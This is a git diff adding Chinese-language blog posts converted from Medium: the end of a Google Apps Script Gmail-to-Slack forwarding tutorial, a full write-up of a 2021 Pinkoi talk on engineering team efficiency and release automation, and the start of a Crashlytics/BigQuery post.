+ + +在身份驗證的過程中會出現「Google hasn’t verified this app」這是正常的,因為我們寫的 App Script 沒有經過 Google 驗證,不過沒關係這是寫給自己用的。 + +可點選左下角「Advanced」\->「Go to ForwardEmailsToSlack \(unsafe\)」 + + +![](/assets/d414bdbdb8c9/1*QUkmTD1WlEzw7cqW97ll6Q.png) + + +點擊「Allow」 + + +![](/assets/d414bdbdb8c9/1*TInHsY7Fwb9jHuKJkMJIsw.jpeg) + + +轉發成功!!! +### 設置觸發器\(排程\)自動檢查&轉發 + + +![](/assets/d414bdbdb8c9/1*2Ok6gD5E7F1uqyzgVpoJ8A.jpeg) + + +在 Apps Script 左方選單列,選擇「觸發條件」。 + + +![](/assets/d414bdbdb8c9/1*1xb9xGGkgx6PkhWlWc7HiQ.jpeg) + + +左下角「\+ 新增觸發條件」。 + + +![](/assets/d414bdbdb8c9/1*ujCxCH3f8HTvSOP5o4xvmA.jpeg) + +- 錯誤通知設定:可設定當腳本執行遇到錯誤時,該如何通知你 +- 選擇您要執行的功能:選擇 Main Function `sendMessageToSlack` +- 選取活動來源:可選擇來自日曆或是時間驅動\(定時或指定\) +- 選取時間型觸發條件類型:可選特定日期執行或每分/時/日/週/月執行一次 +- 選取分/時/日/週/月間隔:EX: 每分鐘、每 15 分鐘… + + + +> _這邊為了示範設定成每分鐘執行一次,我覺得信件的即時程度可以設每小時檢查一次就好。_ + + + + + + +![](/assets/d414bdbdb8c9/1*LBAlTvz46NJCYgVv1DrfYQ.png) + +- 再次回到 Gmail 隨便找一封信,手動幫他加上 Label — 「forward\-to\-slack」 +- 等待排程觸發 + + +自動檢查&轉發成功! +### 完工 + +藉由此功能便能達成客製化信件轉發處理,甚至是再當成觸發器使用,例如:收到 XXX 信時自動執行某腳本。 + +回到第一章起源,我們便可以使用此機制,完善 CI/CD 流程;不需要呆呆等待蘋果完成處理,又能串上自動化流程! +### 延伸閱讀 +- [Crashlytics \+ Big Query 打造更即時便利的 Crash 追蹤工具](../e77b80cc6f89/) +- [Crashlytics \+ Google Analytics 自動查詢 App Crash\-Free Users Rate](../793cb8f89b72/) +- [使用 Python\+Google Cloud Platform\+Line Bot 自動執行例行瑣事](../70a1409b149a/) +- [Slack 打造全自動 WFH 員工健康狀況回報系統](../d61062833c1a/) +- [APP有用HTTPS傳輸,但資料還是被偷了。](../46410aaada00/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E9%81%8B%E7%94%A8-google-apps-script-%E8%BD%89%E7%99%BC-gmail-%E4%BF%A1%E4%BB%B6%E5%88%B0-slack-d414bdbdb8c9){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-09-09-11f6c8568154.md b/_posts/zmediumtomarkdown/2021-09-09-11f6c8568154.md new file mode 100644 index 000000000..6565768fe --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-09-09-11f6c8568154.md @@ -0,0 +1,623 @@ +--- +title: "2021 Pinkoi Tech Career Talk —  高效率工程團隊大解密" +author: "ZhgChgLi" +date: 2021-09-09T12:13:53.982+0000 +last_modified_at: 2023-08-29T08:44:13.986+0000 +categories: "Pinkoi Engineering" +tags: ["pinkoi","automation","ios-app-development","engineering-mangement","workflow"] +description: "Pinkoi 高效率工程團隊大解密 Tech Talk 分享" +image: + path: /assets/11f6c8568154/1*WmP6qgq40go7IMDw1ZcCPg.png +render_with_liquid: false +--- + +### 2021 Pinkoi Tech Career Talk — 高效率工程團隊大解密 + +Pinkoi 高效率工程團隊大解密 Tech Talk 分享 + + +![](/assets/11f6c8568154/1*WmP6qgq40go7IMDw1ZcCPg.png) + +### 高效率工程團隊大解密 + +2021/09/08 19:00 @ [Pinkoi x Yourator](https://www.accupass.com/event/2108230716001792899747){:target="_blank"} + + +![](/assets/11f6c8568154/1*0plljgmrQhyW0N5F9wtlrg.png) + + + +![](/assets/11f6c8568154/1*7M1AgCebRbRMEgmdJh6rIA.jpeg) + + +**My Medium:** [ZhgChgLi](https://medium.com/u/8854784154b8){:target="_blank"} +### 關於團隊 + +**Pinkoi 的工作方式是由多個 Squad \(小隊\)組成:** +- Buyer\-Squad :主攻買家端功能 +- Seller\-Squad :主攻設計師端功能 +- Exploring\-Squad:主攻瀏覽探索 +- Ad\-Squad:主攻平台廣告 +- Out\-Of\-Squad:主要做支援、Infra 或 流程優化 + + +每個 Squad 會由各 Function 隊友共同組成,有 PM、Product Designer、Data、Frontend、Backend、iOS、Android…等等;長期、持續性的工作目標都會由 Squad 來完成。 + +除了 Squad 之外也會有些跨團隊 Run 的 Project,多半時中短期的工作目標,可以是發起人或任何職務的隊友擔任 Project Owner,任務完成後即 Close。 + + +> _文末還有 **關於 Pinkoi 的文化是如何支持隊友解決問題** ,如果 **對實際做了什麼內容不感興趣的朋友,可直接到頁底查看此章節** 。_ + + + + +### 人數規模與效率關係 + + +![](/assets/11f6c8568154/1*V7jEnBoR5XpRsPM-WF8GdA.png) + + +人數規模成長跟工作效率的關係,待過 10 個人的新創到百人的團隊(還沒挑戰過千人)但是光從 10 跳到 100,10 倍的差距在很多事上就很有感了。 + +人少,溝通跟處理事情都很快,走過去討論好,等下就可以馬上給你了;因為「人與人的連結」相當強烈,彼此都能同步協作。 + +但在人多的情況,很難這樣直接溝通,因為一起協作的人變多了,每個都走去講一整個上午就沒了;還有大家互相協作的人也很多,事情只能排優先順序來處理,不是緊急的事不可能馬上給你,這時候就要非同步的等待,去做其他事情。 + + +![](/assets/11f6c8568154/1*nkSy-H-33Jdtf10fISwqrw.png) + + +更多職務的人加入,可以讓工作分工更細緻專業、提供更多產能或更好的品質、更快的產出。 + +但如同開頭說的,相對的;會有更多與人的協作,協作相對的就是會有更多溝通時間。 + +還有小問題會被加倍放大,例如本來 1 個人每天都需要花 10 分鐘貼報表,可以接受;但現在假設變 20 個人,乘下來每天都要多花 3 個多小時貼報表;這時候貼報表這件事的優化、自動化就會很有價值,每天省 3 小時,一年工作日抓 250 天,就要多浪費 750 小時。 + + +![](/assets/11f6c8568154/1*S-OXkos4LdViqlTtgP-DXg.png) + + +人數規模成長,以 App Team 為例,會有比較密切協作的有這些職務。 + +Backend — API、Product Designer — UI 這不用講,Pinkoi 是國際級的產品所以在功能上的文字都需要 Localization Team 幫我們翻譯,還有因為我們有 Data Team 在做資料搜集分析,所以除了開發功能,還需要與 Data Team 討論事件埋設點。 + +Customer Service 也是會經常與我們有互動關係的 Team,除了使用者有時會直接透過商城評價反應訂單問題,更多的時候是使用者直接留下一顆星說遇到問題,這時候也需要請客服團隊幫忙做深入的詢問,是遇到什麼問題?我們怎麼幫助你? + + +![](/assets/11f6c8568154/1*smgTFSo4jQFcbiOfiH42hQ.png) + + +有以上那麼多的協作關係,意味著很多溝通機會。 + + +> **_但要記得,我們不是在逃避或是盡可能減少溝通,優秀的工程師溝通能力也很重要。_** + + + + + +我們要做的事是聚焦在重要的溝通上,如創意發想、需求內容跟時程的討論;不要浪費時間在重複問題的確認,或發散模糊的溝通,你問我問我他的情況也要避免。 + +尤其疫情時代,溝通時間寶貴,要放在更有價值的討論上。 + + +![](/assets/11f6c8568154/1*ksnbNTYxBX4ou90D2WmmdA.png) + + +「我以為你以為的我以為的以為」 — 這句話完美詮釋了模糊溝通的後果。 + +不要說工作了,日常生活上我們也很常會遇到因為雙方認知不同導致的誤會,生活上輕鬆自在靠的是彼此的默契;但工作上就不行了,雙方認知不同如果沒深入討論,很容易到產出階段才發現怎麼跟想的都不一樣。 +### 介面溝通 + + +![](/assets/11f6c8568154/1*AUPvV8j9-AWyHor-Ig_jiA.png) + + +這邊引入的想法是透過一個共識的介面來做溝通,就類似我們工程物件導向程式設計中, SOLID 原則裡的 依賴反轉原則 Dependency inversion principle \(不懂也沒關係\);在溝通上也能應用相同的概念。 + +第一步是找出什麼地方是模糊的、每次都要重複確認的溝通,或是需要什麼溝通才能更聚焦有效,甚至只需要這個交付就不需要額外溝通的事。 + +找出問題後就能定義出「介面」,介面就是媒介的意思,可以是一份問件、流程、check list 或工具…等等 + +使用這個「介面」作為彼此溝通的橋樑,介面可以有多個,什麼場景就用什麼介面;遇到相同場景優先使用這個介面來做初步溝通;如果還有需求要溝通,可以基於這個介面深入聚焦的討論問題。 +#### App Team 與外部協作關係 + +以下以 App Team 協作為例舉 4 個介面溝通的例子: + + +![](/assets/11f6c8568154/1*QeKDmnbkrkQvMU2yn8FBZg.png) + + +第一個是與 Backend 協作在沒有任何介面共識前可能會有上圖情況。 + +對於 API 怎麼用,如果單純地將 API Response String 給 App Team 容易有模糊地帶,例如 `date` 我們怎們知道是 Register Date? 還是 Birthday?,還有範圍很廣,很多欄位需要確認。 + +這個溝通也是重複的,每次有新的 Endpoint 都要再確認一次。 + +這就是很經典的無效溝通案例。 + + +![](/assets/11f6c8568154/1*FQy-Xr_V6sz9cuppumVaFw.png) + + +App 與 Backend 彼此缺少的就是一個溝通介面,Solution 有很多種,也不一定要用工具;可以只是一份人工維護的文件。 + + +![[這塊 2020 Pinkoi 開發者之夜有跟大家分享過 — by Toki](https://www.yourator.co/articles/171#Toki){:target="_blank"}](/assets/11f6c8568154/1*q_MQ6y3RPKeO7q-zxSGqDg.png) + +[這塊 2020 Pinkoi 開發者之夜有跟大家分享過 — by Toki](https://www.yourator.co/articles/171#Toki){:target="_blank"} + +Pinkoi 使用的是 Python \(FastAPI\) 從 API Code 自動產生文件,PHP 可以用 Swagger \(之前公司做法\);優點是文件的大框架、資料格式都能從 Code 自動產生出來,降低維護成本,只需處理好欄位說明即可。 + +p\.s\. 目前新的 Python 3 都會使用 FastAPI,舊的部分會逐步更新,暫時先用 PostMan 做為溝通介面。 + + +![](/assets/11f6c8568154/1*luRT1gAUkFuxSixkd-OsrA.png) + + +第二個是與 Product Designer 的協作,其實道理上與 Backend 類似,只是問題換成是確認 UI Spec、確認 Flow。 + +色碼、字型如果零散,我們 App 也會很痛苦,撇開需求本來就是這樣,我們不想要有同個 Title 有明明顏色一樣但色碼跑掉或同個位置 UI 不統一的狀況。 + + +![](/assets/11f6c8568154/1*smel97dJH6y2LzXdWTKYYw.jpeg) + + +Solution 最基本的就是要先請設計大大整理好 UI 的元件庫、建立好 Design System \(Guideline\),並在出 UI 時做好標記。 + +我們在 Code Base 上根據 Design System \(Guideline\) 去建立相應的 Font、Color、根據元件庫建立出 Button、View。 + +套版的時候統一使用這些已建立好的元件來套版,方便我們直接看 UI 設計稿就能快速對齊。 + + +> **_但這個很容易亂掉,要動態的調整;不能涵蓋太多特例,也不能固守都不擴充。_** + + + + + +p\.s\. 在 Pinkoi 與 Product Designer 的協作是互相的,Developer 也能提出更好的做法與 Product Designer 討論。 + + +![](/assets/11f6c8568154/1*jWzR6iVOeXD9naa3KQllLw.png) + + +第三個是和 Customer Service 的介面,商城的評價對產品很重要但他卻是一個非常人工跟重複轉介溝通的事。 + +因為要時不時人工上去看一下新評價,如過有客服問題再將問題轉發給客服協助處理,很重複、人工。 + + +![](/assets/11f6c8568154/1*2e_pEWb1khuMTgJPkpCY9w.png) + + +這個最佳解就是讓商城評價能自動同步到我們的工作平台,可以花 $ 買現有的服務,或是用我開發的 [ZhgChgLi](https://github.com/ZhgChgLi){:target="_blank"} / [ZReviewTender](https://github.com/ZhgChgLi/ZReviewTender){:target="_blank"} \(2022 新\)。 + + +> _部署方式、教學及技術細節可參考:_ [**ZReviewTender — 免費開源的 App Reviews 監控機器人**](../e36e48bb9265/) + + + + + +這個機器人就是我們的溝通介面,他會將評價自動轉發到 Slack Channel,大家能快速收到最新評價資訊,並在上面追蹤、溝通討論。 + + +![](/assets/11f6c8568154/1*9SG2JlwEfNSJq9WxscfV5w.png) + + +最後一個例子,是與 Localization Team 的工作依賴;不管是新功能或修改舊翻譯,都需要等 Localization Team 完成工作交給我們後續協助處理。 + + +![](/assets/11f6c8568154/1*vJcYjkcLpZcKRvgFzP5C1g.png) + + +這個自行開發工具的成本太高,所以直接使用第三方服務來協助我們解除依賴關係。 + +所有翻譯、Key 都由第三方工具管理,我們只要事先定好 Key 就能分頭行動,雙方只要在 Deadline 打包前完成工作即可,不用互相依賴;Localization Team 完成翻譯後,工具會自動觸發 git pull 更新最新的文字檔到專案內。 + +p\.s Pinkoi 因很早期就有這流程,當時選用的是 Onesky 不過這幾年有更多優秀的工具可用,可以參考採用其他的。 +#### App Team 團隊內互相協作關係 + +剛說的是外部,現在來說內部。 + + +![](/assets/11f6c8568154/1*Jg0DrQsNe1QA6UOT3Z_elg.png) + + +在人少或是說一個開發者維護一個專案的時候;你想做什麼就做什麼,你對專案的掌握度、了解程度都很高,問題不大;當然你如果有好的 Sense 就算是一人專案也能做到這邊要提的所有事。 + +但在互相協作的隊友越來越多的情況下,大家都在同個專案底下做事,如果還是各做各的將會是場災難。 + +例如打 API 一下這邊這樣做一下那邊那樣做、很常重造輪子浪費時間或什麼都不 Care 直接隨便弄一弄上線,都會對未來的維護跟可擴充性增加巨大的成本。 + + +![](/assets/11f6c8568154/1*5wBfMU9AiCVfmEcvmPZSiQ.png) + + +團隊內與其說是介面,我覺得太見外了;應該要說共識、共鳴更有團隊意識感。 + +最基本的老生常談就是 Coding Style,命名的習慣、位置怎麼放、Delegate 怎麼用…之類;可以以入業界常用的 [realm](https://github.com/realm){:target="_blank"} / [SwiftLint](https://github.com/realm/SwiftLint){:target="_blank"} 進行約束,多國語系語句可以用 [freshOS](https://github.com/freshOS){:target="_blank"} / [Localize](https://github.com/freshOS/Localize){:target="_blank"} 整理 \(當然,如果你已經是用前文提到的統一由第三方工具管理,就可以不用這個\)。 + +第二個是 App 架構,不管是 MVC/MVVM/VIPER/Clean Architecture 都可以,核心重點是乾淨、統一;不用追求一定要潮,統一就好。 + + +> _Pinkoi App Team 使用的 [Clean Architecture](https://www.yourator.co/articles/171#Matt){:target="_blank"} 。_ + + +> _之前在 StreetVoice 只是純 MVC 但是是乾淨統一的,協作起來也很順暢。_ + + + + + +還有 UnitTest,人多很難避免你現在做的邏輯哪一天不小心被改壞;有多寫測試能多一份保障。 + +最後就是文件的部分,關於團隊做事的流程、規格或操作手冊,方便隊友忘記的時候快速翻閱、新人快速上手。 + + +![](/assets/11f6c8568154/1*8Ywxhvk1dzmDLGLunuHNww.png) + + +除了 Code Level 的介面之外,協作上還有其他介面協助我們提高效率。 + +第一是在需求實作前有一個 Request for comments 的階段,負責開發的人大概說明一下這個需求會怎麼做,然後其他人可以留意見想法。 + +除了可以防止重造輪子之外,還可以集思廣益,例如之後其他人要擴充別人要怎麼用、或日後可能有什麼需求可以列入考量…等等,當局者迷旁觀者清啊。 + +第二是做好 Code Review,把關我們的介面共識有沒有落實,例如:Naming 方式、UI Layout 方法、Delegate 用法、Protocol/Class 宣告…等等 +還有架構有沒有亂用或趕時間亂寫、發展方向假設要朝全面 Swift 發展,有沒有還在送 OC 的 Code…等等 + +主要是 Review 這些,其次才是功能正不正常…之類的協助。 + +p\.s\. RFC 的目的是提升工作效率,所以不應該太冗長,甚至嚴重拖累工作進度;可以想成單純的開工前討論環節。 + + +![](/assets/11f6c8568154/1*nn--T1ToO7FxRUHAv_3vig.png) + + +統整一下團隊內介面共識的功能,最後提到一個 **墜機理論** 的 Mindset 我覺得是個不錯的行為基準點。 + + +![摘錄自 [MBA 智庫](https://wiki.mbalib.com/zh-tw/%E5%9D%A0%E6%9C%BA%E7%90%86%E8%AE%BA){:target="_blank"}](/assets/11f6c8568154/1*QJ8P_HjSvPdYrUmrqsQZXA.png) + +摘錄自 [MBA 智庫](https://wiki.mbalib.com/zh-tw/%E5%9D%A0%E6%9C%BA%E7%90%86%E8%AE%BA){:target="_blank"} + +運用在團隊上就是假設今天所有人都突然消失了,現存的 Code、流程、制度能不能讓新的人快速上手? + + +![](/assets/11f6c8568154/1*Q44KLIwDjvAPuNDDf6KB3g.png) + + +Recap 介面意義,團隊內的介面是用來增加彼此的共識,團隊外的協作是降低彼此的無效溝通,用介面作為溝通沒截,專注於需求討論。 + + +![](/assets/11f6c8568154/1*WXYAk1_4fA0kll-HyMXL5w.png) + + +再次重申「介面溝通」不是什麼特別的專有名詞或是工具、工程的東西,他只是個概念,適用於任何職務場景的協作,可以單純只是份文件或流程,順序上要先有這個東西然後才來溝通。 + + +![](/assets/11f6c8568154/1*oN-qJ4lNMtijsCoSIqrr_g.png) + + +這邊假設每次多花的溝通時間是 10 分,團隊 60 人,每個月發生 10 次,一年就浪費了 1,200 小時在無謂的溝通上。 +### 提升效率 — 自動化重複性工作 + + +![](/assets/11f6c8568154/1*vMq1UmYeW611XYf0yHv8AQ.png) + + +第二章節想要跟大家分享一下關於自動化重複工作對於提升工作效率的效果,一樣會以 iOS 為例,但 Android 也是相同的方式。 + +不會提到技術實作細節,單講原理上的可行性。 + + +![](/assets/11f6c8568154/1*i_0yUCYq6jl-7uf5mynxLA.png) + + +整理一下我們有用到的服務,包括但不限於: +- Slack:溝通軟體 +- Fastlane:iOS 自動化腳本工具 +- Github:Git Provider +- Github Action:Github 的 CI/CD 服務,後面會介紹 +- Firebase:Crashlytics、Event、App Distribution \(後面會介紹\)、Remote Config… +- Google Apps Script:Google Apps 的外掛腳本程式,後面會介紹 +- Bitrise:CI/CD Server +- Onesky:前面有說到,Localization 的第三方工具 +- Testflight:iOS App 內測平台 +- Google Calendar:Google 行事曆,後面會介紹用在哪 +- Asana:專案管理工具 + +#### 釋出測試版的問題 + + +![](/assets/11f6c8568154/1*kaNm3auxnqlJ4ObE84sitA.png) + + +第一個要說的重複性問題,是當我們 App 在開發階段想要給其他隊友搶先測試的時候,傳統就是直接借手機來 Build;如果只有 1~2 人問題不大,但是團隊有 20~30 人要測,光幫忙安裝測試版那天就不用工作了,而且若有更新,整個就都要重新來過。 + + +![](/assets/11f6c8568154/1*r_jYD3jukkUPKOdtnK8zyA.png) + + +另一個方法是使用 TestFlight 作為測試版發布媒介,我覺得也不錯;但有兩個問題,第一個是 Testflight 等同 Production 環境,不是 Debug;第二是當同時開發的需求、同事要測不同需求的隊友很多,Testflight 就會大亂,包版的 Build 也會狂改,但也不是不行。 + + +![](/assets/11f6c8568154/1*XLB0THtHAM65_e4FdtEXKg.png) + + +在 Pinkoi 的解法是,首先將「由 App Team 來安裝測試版」這件事拆開,用 Slack WorkFlow 做為 Input UI 來達成,輸入完成後會觸發 Bitrise 跑 Fastlane 腳本去打包上傳測試版 ipa 到 Firebase App Distribution。 + + +> _Slack Workflow 應用可參考此篇文章: [Slack 打造全自動 WFH 員工健康狀況回報系統](../d61062833c1a/)_ + + + + + + +![](/assets/11f6c8568154/1*2mNIlReKlROzcgviY9_JTg.jpeg) + + + +![Firebase App Distribution](/assets/11f6c8568154/1*dwwOvnVwuF1sCUnyppBCDQ.jpeg) + +Firebase App Distribution + +要測試的隊友,只要照著 Firebase App Distribution 的步驟安裝完憑證、註冊完裝置,就能在上面選擇安裝想要的測試版,或直接回去點信的連結安裝。 + + +> _但這邊要注意,iOS Firebase App Distribution 佔用的是 Development Device,上限只能只能註冊 100 個裝置,看裝置不看人。_ + + +> _所以可能要跟 TestFlight \(by 人,外部測試 1,000 人\) 的解法做個權衡。_ + + + + + +但至少前面的 Slack WorkFlow UI Input 是可以考慮採用的。 + + +> _如果要做的進階可以開發 Slack Bot,能有更完整更客製化的流程、表單可用。_ + + + + + + +![](/assets/11f6c8568154/1*-2oet_gRdews7-wccdrmiA.png) + + +Recap 釋出測試版自動化的成效,最有感的是把整個步驟都搬到雲端上執行,App Team 不需要插手,完全自助式。 +#### 打包正式版的問題 + +第二個也是 App Team 很常要做的事,打包、送審正式版 App。 + + +![](/assets/11f6c8568154/1*Fd245lp2QSQV7d3AIdf94w.png) + + +團隊小的時候,只有單線開發,App 版本更新問題不大,可以很自由也可以很規律。 + +但團隊大,同時有多線的需求在開發跟迭代,就會遇到如上圖的狀況,沒有做好前文說的「介面溝通」就會大家各自上各自的,這會導致 App Team 疲於奔命,因 App 更新的成本比網頁高、過程繁瑣,另一方面頻繁零亂的更新也很干擾使用者。 + +最後是管理問題,如果沒有固定的流程、日期,很難去對每個步驟該做什麼事進行優化。 + + +![](/assets/11f6c8568154/1*eRm97daYTwlEBFGtWoZgdQ.png) + + +問題如上。 + + +![](/assets/11f6c8568154/1*3b_wX91dtYF0ogHjKsaR6g.png) + + +解決辦法是導入 Release Train 到開發流程中,核心概念是把版本更新跟專案開發這兩件事分開。 + +我們將日程固定下來,每個階段會做什麼事也定下來: +- 固定週一早上更新新版 +- 固定週三 Code Freeze \(不再 Merge Feature PR\) +- 固定週四開始 QA +- 固定週五打包正式 + + +實際時程\(QA 多久\)、發版週期\(每週、每兩週、每個月\)依照各公司狀況可自行調整, **核心就是確定什麼固定什麼時間點做什麼事** 。 + + +這是國外推友發的版更週期調查,大多是 2 週一次。 + + +![](/assets/11f6c8568154/1*uOXXmdDoocyFImsq-z7tVQ.png) + + +以每週更新 & 我們多團隊為例,就會如上圖。 + +Release Train 顧名思義就像火車站一樣,每個版本都是一班列車 + +**如果錯過就要等下一班,** 各個 Squad 團隊跟專案自己選擇要上車的時間 + +這是一個很好的溝通介面,大家只要有共識並遵守規定就能有條不紊的更新版本。 + +**更多 Release Train 的技術細節可參考:** +- [Mobile release trains — Travelperk](https://speakerdeck.com/lgvalle/mobile-release-trains){:target="_blank"} +- [Agile Release Train](https://www.scaledagileframework.com/agile-release-train/){:target="_blank"} +- [Release Quality and Mobile Trains](https://developers.soundcloud.com/blog/quality-mobile-trains){:target="_blank"} + + + +![](/assets/11f6c8568154/1*DZwSmwnVCGkO--1PEzgqgw.png) + + +流程、日程確定後,我們就可以對每個階段做的事進行優化。 + +像是打包正式版,傳統手動方式費時費力,從打包、上傳、送審整個流程大概要花 1 個小時,這時間內工作狀態要一直切換,很難做其他事;每次的打包都會重複這個過程,很浪費工作效率。 + + +![](/assets/11f6c8568154/1*RPSgRUXh3ITDJykQ6N-DTw.png) + + +既然我們已經固定日程了,這邊直接引入 Google Calendar,將預計日程要做的事加到行事曆上,時間到的時候會透過 Google Apps Script 去呼叫 Bitrise 執行 Fastlane 打包正式版和送審的腳本完成全部工作。 + +使用 Google Calendar 串接還有個好處,如果遇到突發狀況需要延後、提早,直接上去更改日期即可。 + + +> _Google Apps Script 若要直接在 Google Calendar 事件時間到時自動執行,目前只能自己 on 服務來做,如果要快速解決可以使用 IFTTT 做為 Google Calendar <\-> Bitrise/Google Apps Script 的橋樑,做法可 [參考此篇文章](https://gist.github.com/tanaikech/fbbfaa8f2a8a770424974aa16b9b6f3b){:target="_blank"} 。_ + + + + + +p\.s\. +1\. 目前 Pinkoi iOS Team 是採用 Gitflow 工作流程。 +2\. 原則上這個共識是所有團隊都要遵守,所以不希望有需求是打破這個規則的 \(EX: 特別週三要上\),但如果是與外部合作的項目,如果真的沒辦法還是要保持彈性,畢竟這個共識是團隊內的。 +3\. HotFix 嚴重問題,是隨時可更新的,不受 Release Train 規範。 + + +![](/assets/11f6c8568154/1*tBGh-uxgoCTXfQ-u4GZq8g.png) + + +這邊多提了 Google App Scripts 的應用,詳情可參考: [運用 Google Apps Script 轉發 Gmail 信件到 Slack](../d414bdbdb8c9/) 。 + + +![](/assets/11f6c8568154/1*gdwkOBumSPH469IMCd8TVw.png) + + +最後一個是使用 Github Action 提升協作效率 \(PR Review\)。 + +Github Action 是 Github 的 CI/CD 服務,可以直接與 Github 事件作綁定,觸發時機從 open issue、open pr 到 merge pr…等等都有。 + +Github Action 只要是 Github 託管的 Git 專案都能使用,Public Repo 沒有限制,Private 每個月有 2,000 分鐘的免費額度可以用。 + +**這邊舉兩個功能:** +- \(左\)是 PR Review 完之後會自動打上 reviewer name Label,讓我們能快速 summary pr review 的狀況。 +- \(右\)是每天會在固定時間整理&發送訊息到 Slack Channel,提醒隊友有哪些 PR 正在等待 Review( [仿造 Pull Reminders 的功能](https://pullreminders.com/){:target="_blank"} )。 + + +Github Action 還有很多可以做的自動化項目,大家可以發揮想像。 + +像是在開源專案常看到的 issue bot: + + +![[fastlane](https://github.com/fastlane){:target="_blank"} / [fastlane](https://github.com/fastlane/fastlane){:target="_blank"}](/assets/11f6c8568154/1*64GaqzcldMHwU-HE4yt3_A.png) + +[fastlane](https://github.com/fastlane){:target="_blank"} / [fastlane](https://github.com/fastlane/fastlane){:target="_blank"} + +或自動關閉太久沒 Merge 的 pr 都能用 Github Action 來自動完成。 + + +![](/assets/11f6c8568154/1*olR70CQ2zbvTWwzh72-gRQ.png) + + +Recap 自動化打包正式版的成效,一樣直接使用現有工具串接;除了 **自動化之外還加入固定流程達到加倍提升工作效率** + +原本除了手動打包時間,其實還有額外溝通上版時間的成本,現在直接歸 0;只要確保在時程內 **上車** 就可以把時間都專注在「討論」跟「開發」上。 + + +![](/assets/11f6c8568154/1*8CZSygOrZbXPVIDzx2AFRQ.png) + + +總計算一下這兩個自動化帶來的成效,一年可節省 216 工作時數。 + + +![](/assets/11f6c8568154/1*d3I-cJoeUiT_h2uvZ8PgFw.png) + + +自動化加上前面提到的溝通介面,我們來看一下做這些事總共能提升多少效率。 + + +![](/assets/11f6c8568154/1*xMFfrYqGJD6CPY8YTIVMIg.png) + + +除了剛做的項目,我們還需要多評估 [**心流切換成本**](https://zh.wikipedia.org/wiki/%E5%BF%83%E6%B5%81%E7%90%86%E8%AB%96){:target="_blank"} ,當我們持續投入工作一段時間後就會進入「心流」狀態,此時的思緒、生產力都達到巔峰,能提供做好最有效的產出;但如果被無謂的事\(EX: 多餘的溝通、重複性工作\)打斷,要重新回到心流,又會再需要一段時間,這邊以 30 分鐘為例。 + + +![](/assets/11f6c8568154/1*_1Pe12uYqddPyd5muKuTMw.png) + + +被無謂的事打斷的心流切換成本也應該列入計算,這邊抓 30 分鐘每次,一個月發生 10 次,60 人一年就多浪費 3,600 小時。 + + +![](/assets/11f6c8568154/1*TllAhkbBRr7H1PSFB-iyfg.png) + + +心流切換成本 \(3,600\) \+ 溝通介面不好的情況下多餘的溝通 \(1,200\) \+ 自動化解決的重複性工作 \(216\) = 一年多損失了 5,016 小時。 + +原本浪費的工作時間,節省起來後可以投入其他更有價值的事,所以實際換成產能應該還要再 X 200%。 + + +> **_尤其隨著團隊規模不斷成長,對工作效率的影響也隨之放大。_** + + +> **_早優化早享受,晚優化沒折扣!!_** + + + + + +![](/assets/11f6c8568154/1*kRiuACBFiI-xjyxt_oKRMw.png) + + +Recap 高效率工作團隊的內幕,我們主要做了什麼事。 + + +> **_No Code/Low Code First_** _優先選擇現有工具串接(如本篇範例)如果沒有現有工具可用再來評估投入自動化的成本,跟實際節省的收入。_ + + + + +### 關於文化的支持 + + +![在 Pinkoi 人人都可以是解決問題的領導者](/assets/11f6c8568154/1*HtF6bI9jcL95Dn3AHRXmcw.png) + +在 Pinkoi 人人都可以是解決問題的領導者 + +對於問題的解決,事情的改變;絕大多數都需要很多很多團隊一起努力才有可能更好,這部分就很需要公司文化的支持鼓勵,不然只有自已在推動會非常辛苦。 + + +> _在 Pinkoi 人人都可以是解決問題的領導者,不一定要是 Lead or PM 才能解決問題,前面介紹的溝通介面、工具或自動化項目很多都是隊友發現問題,提出解法,大家一起努力完成的。_ + + + + + + +![](/assets/11f6c8568154/1*nbSdYTY3AQEVdCOYkWh04A.png) + + +關於團隊文化是如何支持推動改變的,解決問題的四個階段都可以連結到 Pinkoi 的 Core Values。 + +**第一步 Grow Beyond Yesterday** +- 好還要更好,如果有發現問題,不管是大小,前面有說到隨團隊規模成長,小問題也會有放大效果 +- 調查、歸納問題,避免過早優化\(有的問題可能只是暫時過渡而已\) + + +**再來是 Build Partnerships** +- 積極的溝通各面向蒐集建議 +- 保持換位思考\(因為有的問題可能是對方的最佳解,要做好權衡\) + + +**第三步 Impact Beyond Your Role** +- 發揮自身影響力 +- 提出問題解決計畫 +- 如果跟重複工作有關則優先使用自動化方案 +- 記得保持彈性跟可擴充性,避免 Over Engineering + + +**最後 Dare to Fail!** +- 勇敢實踐 +- 持續追蹤、動態調整解決方案 +- **取得成功後,記得與團隊分享成果,以促成跨部門資源整合** \(因為同個問題可能同時存在在多個部門\) + + +**以上是 Pinkoi 高效率工程團隊大解密的分享,謝謝大家。** + +立即加入 Pinkoi >>> [https://www\.pinkoi\.com/about/careers](https://www.pinkoi.com/about/careers){:target="_blank"} + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/pinkoi-engineering/2021-pinkoi-tech-career-talk-%E9%AB%98%E6%95%88%E7%8E%87%E5%B7%A5%E7%A8%8B%E5%9C%98%E9%9A%8A%E5%A4%A7%E8%A7%A3%E5%AF%86-11f6c8568154){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-10-19-e77b80cc6f89.md b/_posts/zmediumtomarkdown/2021-10-19-e77b80cc6f89.md new file mode 100644 index 000000000..2d48b7bb1 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-10-19-e77b80cc6f89.md @@ -0,0 +1,538 @@ +--- +title: "Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具" +author: "ZhgChgLi" +date: 2021-10-19T14:33:30.948+0000 +last_modified_at: 2024-04-14T01:58:38.895+0000 +categories: "ZRealm Dev." +tags: ["ios-app-development","crashlytics","firebase","bigquery","slack"] +description: "串接 Crashlytics 和 Big Query 自動轉發閃退記錄到 Slack Channel" +image: + path: /assets/e77b80cc6f89/1*-luP3wtJr1XJ9Vq3M0sQLA.png +render_with_liquid: false +--- + +### Crashlytics \+ Big Query 